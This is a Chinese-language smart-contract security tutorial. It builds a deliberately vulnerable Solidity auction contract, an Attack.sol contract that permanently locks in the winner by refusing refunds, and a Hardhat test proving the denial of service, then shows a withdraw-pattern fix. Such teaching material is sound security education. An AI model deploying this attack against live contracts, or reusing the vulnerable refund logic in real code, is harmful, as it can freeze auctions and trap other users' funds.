跳到主要内容

拒绝服务

拒绝服务(DOS)攻击是一种旨在禁用、关闭或破坏网络、网站或服务的攻击类型。从本质上讲,它意味着攻击者可以通过某种方式阻止普通用户访问网络、网站或服务,从而拒绝为他们提供服务。这是一个非常常见的攻击,我们在 web2 中也都知道,但今天我们将尝试模仿对智能合约的拒绝服务攻击

智能合约中的 DOS 攻击

会发生什么?

将有两个智能合约 - Good.sol 和 Attack.sol。Good.sol 将被用来运行一个样本拍卖,其中有一个功能,当前用户可以通过向 Good.sol 发送比前一个赢家发送的 ETH 更高的金额来成为当前拍卖的赢家。赢家被替换后,老赢家会被送回他最初发送给合约的钱。

Attack.sol 将以这样的方式进行攻击,在成为当前的拍卖赢家后,即使试图获胜的地址愿意投入更多的 ETH,它也不允许其他人来取代它。因此,Attack.sol 将使 Good.sol 受到 DOS 攻击,因为在它成为赢家后,它将拒绝任何其他地址成为赢家的能力。

构建

让我们建立一个例子,你可以体验到攻击是如何发生的。

创建项目

要建立一个 Hardhat 项目,打开终端并执行这些命令

npm init --yes
npm install --save-dev hardhat
# 如果你不是在 mac 上,请做这个额外的步骤,同时安装这些库:)
npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers

在你安装 Hardhat 的同一目录下运行。

npx hardhat

选择创建一个基本样本项目 对已经指定的 Hardhat 项目根按回车键 在是否要添加.gitignore 的问题上按回车键 在 "是否要用 npm 安装这个样本项目的依赖项(@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)? 现在你已经有了一个准备好的 hardhat 项目!

创建合约

让我们创建拍卖合约,命名为 Good.sol,代码如下。

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Good {
address public currentWinner;
uint public currentAuctionPrice;

constructor() {
currentWinner = msg.sender;
}

function setCurrentAuctionPrice() public payable {
require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
(bool sent, ) = currentWinner.call{value: currentAuctionPrice}("");
if (sent) {
currentAuctionPrice = msg.value;
currentWinner = msg.sender;
}
}
}

这是一个相当基本的合约,它存储了最后一个最高出价人的地址,以及他们出价的价值。任何人都可以调用 setCurrentAuctionPrice 并发送比 currentAuctionPrice 更多的 ETH,这将首先尝试将他们的 ETH 送回给最后的出价人,然后将交易调用者设置为新的最高出价人,并提供他们的 ETH 值。

现在,在合约目录下创建一个名为 Attack.sol 的合约,并编写以下几行代码

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./Good.sol";

contract Attack {
Good good;

constructor(address _good) {
good = Good(_good);
}

function attack() public payable {
good.setCurrentAuctionPrice{value: msg.value}();
}
}

这个合约有一个叫做 attack()的函数,它只是调用 Good 合约的 setCurrentAuctionPrice。但是,请注意,这个合约没有一个可以接收 ETH 的 fallback()函数。稍后会有更多关于这方面的内容。

让我们创建一个攻击,使 Good 合约变得无法使用。在测试文件夹下创建一个名为 attack.js 的新文件,并在其中添加以下几行代码

const { expect } = require("chai");
const { BigNumber } = require("ethers");
const { ethers, waffle } = require("hardhat");

describe("Attack", function () {
it("After being declared the winner, Attack.sol should not allow anyone else to become the winner", async function () {
// Deploy the good contract
const goodContract = await ethers.getContractFactory("Good");
const _goodContract = await goodContract.deploy();
await _goodContract.deployed();
console.log("Good Contract's Address:", _goodContract.address);

// Deploy the Attack contract
const attackContract = await ethers.getContractFactory("Attack");
const _attackContract = await attackContract.deploy(_goodContract.address);
await _attackContract.deployed();
console.log("Attack Contract's Address", _attackContract.address);

// Now lets attack the good contract
// Get two addresses
const [_, addr1, addr2] = await ethers.getSigners();

// Initially let addr1 become the current winner of the aution
let tx = await _goodContract.connect(addr1).setCurrentAuctionPrice({
value: ethers.utils.parseEther("1"),
});
await tx.wait();

// Start the attack and make Attack.sol the current winner of the auction
tx = await _attackContract.attack({
value: ethers.utils.parseEther("3.0"),
});
await tx.wait();

// Now lets trying making addr2 the current winner of the auction
tx = await _goodContract.connect(addr2).setCurrentAuctionPrice({
value: ethers.utils.parseEther("4"),
});
await tx.wait();

// Now lets check if the current winner is still attack contract
expect(await _goodContract.currentWinner()).to.equal(
_attackContract.address
);
});
});

注意到 Attack.sol 是如何将 Good.sol 引入 DOS 攻击的。首先 addr1 通过调用 Good.sol 的 setCurrentAuctionPrice 成为当前赢家,然后 Attack.sol 通过攻击函数发送比 addr1 更多的 ETH 成为当前赢家。现在,当 addr2 试图成为新的赢家时,它将无法做到这一点,因为 Good.sol 合约中的这个检查(if (send))验证了只有当 ETH 被送回给上一个当前赢家时,当前赢家才会被改变。

由于 Attack.sol 没有接受 ETH 支付所需的回退功能,send 总是假的,因此当前赢家永远不会被更新,addr2 也不会成为当前赢家。

要运行测试,在你的终端上指向本级别的根目录,执行以下命令

npx hardhat test

当测试通过后,你会发现 Good.sol 现在受到了 DOS 攻击,因为在 Attack.sol 成为当前的赢家后,在其他地址可以成为当前赢家。

预防

你可以为以前的赢家创建一个单独的提款函数。 例子:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Good {
address public currentWinner;
uint public currentAuctionPrice;
mapping(address => uint) public balances;

constructor() {
currentWinner = msg.sender;
}

function setCurrentAuctionPrice() public payable {
require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
balances[currentWinner] += currentAuctionPrice;
currentAuctionPrice = msg.value;
currentWinner = msg.sender;
}

function withdraw() public {
require(msg.sender != currentWinner, "Current winner cannot withdraw");

uint amount = balances[msg.sender];
balances[msg.sender] = 0;

(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}

希望你喜欢这个关卡 ❤️,继续建设。

WAGMI 🚀

参考